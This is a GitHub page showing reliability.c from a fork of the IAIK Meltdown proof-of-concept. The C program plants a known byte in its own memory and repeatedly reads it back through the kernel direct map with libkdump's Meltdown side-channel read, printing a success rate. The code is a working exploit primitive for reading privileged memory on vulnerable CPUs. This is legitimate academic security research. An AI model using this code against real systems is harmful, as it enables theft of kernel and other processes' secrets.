forked from IAIK/meltdown
-
Notifications
You must be signed in to change notification settings - Fork 0
/
reliability.c
65 lines (53 loc) · 1.54 KB
/
reliability.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(int argc, char *argv[]) {
size_t scratch[4096];
libkdump_config_t config;
size_t offset = 0xffff880000000000ull;
int progress = 0;
unsigned char secret = 'X';
if(argc == 2) {
offset = strtoull(argv[1], NULL, 0);
printf("\x1b[33;1m[+]\x1b[0m Setting physical offset to 0x%zx\n", offset);
}
libkdump_enable_debug(0);
config = libkdump_get_autoconfig();
config.retries = 10;
config.measurements = 2;
config.physical_offset = offset;
libkdump_init(config);
size_t var = (size_t)(scratch + 2048);
*(char*)var = secret;
size_t start = libkdump_virt_to_phys(var);
if (!start) {
printf("\x1b[31;1m[!]\x1b[0m Program requires root privileges (or read access to /proc/<pid>/pagemap)!\n");
exit(1);
}
srand(time(NULL));
size_t correct = 0, wrong = 0, failcounter = 0;
size_t phys = libkdump_phys_to_virt(start);
while (1) {
*(volatile unsigned char*)var = secret;
int res = libkdump_read(phys);
if (res == secret) {
correct++;
} else if(res != 0) {
wrong++;
} else {
failcounter++;
if(failcounter < 1000) {
continue;
} else {
failcounter = 0;
wrong++;
}
}
printf("\r\x1b[34;1m[%c]\x1b[0m Success rate: %.2f%% (read %zd values) ", "/-\\|"[(progress++ / 100) % 4], (100.f * (double)correct) / (double)(correct + wrong), correct + wrong);
fflush(stdout);
secret = (rand() % 255) + 1;
}
libkdump_cleanup();
return 0;
}